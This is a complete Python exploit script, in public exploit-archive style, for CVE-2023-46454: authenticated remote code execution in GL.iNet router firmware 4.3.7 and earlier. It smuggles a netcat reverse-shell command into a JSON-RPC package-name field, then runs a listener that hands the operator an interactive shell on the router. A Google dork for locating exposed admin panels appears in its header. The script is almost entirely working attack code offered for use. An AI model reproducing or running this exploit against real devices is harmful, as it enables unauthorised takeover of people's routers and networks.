#!/usr/bin/env python3

# Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46454

import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def trigger_revshell(url, auth_token, payload):
	sleep(0.25)
	data = {
		'jsonrpc': '2.0',
		'id': randint(1000, 9999),
		'method': 'call',
		'params': [
			auth_token,
			'plugins',
			'get_package_info',
			{'name': 'bas{}e-files'.format(payload)}
		]
	}
	requests.post(url, json=data, verify=False)

def get_command_response(s):
	res = ''
	while True:
		try:
			resp = s.recv(1).decode('utf-8')
			res += resp
		except UnicodeDecodeError:
			pass
		except socket.timeout:
			break
	return res

def revshell_listen(revshell_ip, revshell_port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(5)

	try:
		s.bind((revshell_ip, int(revshell_port)))
		s.listen(1)
	except Exception as e:
		print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
		exit(1)

	try:
		clsock, claddr = s.accept()
		clsock.settimeout(2)
		if clsock:
			print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
			res = ''
			while True:
				command = input('$ ')
				clsock.sendall('{}\n'.format(command).encode('utf-8'))
				stdout.write(get_command_response(clsock))

	except socket.timeout:
		print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
		s.close()

	except KeyboardInterrupt:
		print('\n[*] Closing connection')
		try:
			clsock.close()
		except socket.error:
			pass
		except NameError:
			pass
		s.close()

def main(base_url, auth_token, revshell_ip, revshell_port):
	print('[+] Started GL.iNet <= 4.3.7 RCE exploit')

	payload = '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port)
	print('[+] Reverse shell payload: "{}"'.format(payload))

	print('[*] Triggering reverse shell connection')
	Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start()

	print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
	revshell_listen(revshell_ip, revshell_port)

	print('[+] Done')

if __name__ == '__main__':
	if len(argv) < 5:
		print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
		exit(1)

	main(argv[1], argv[2], argv[3], argv[4])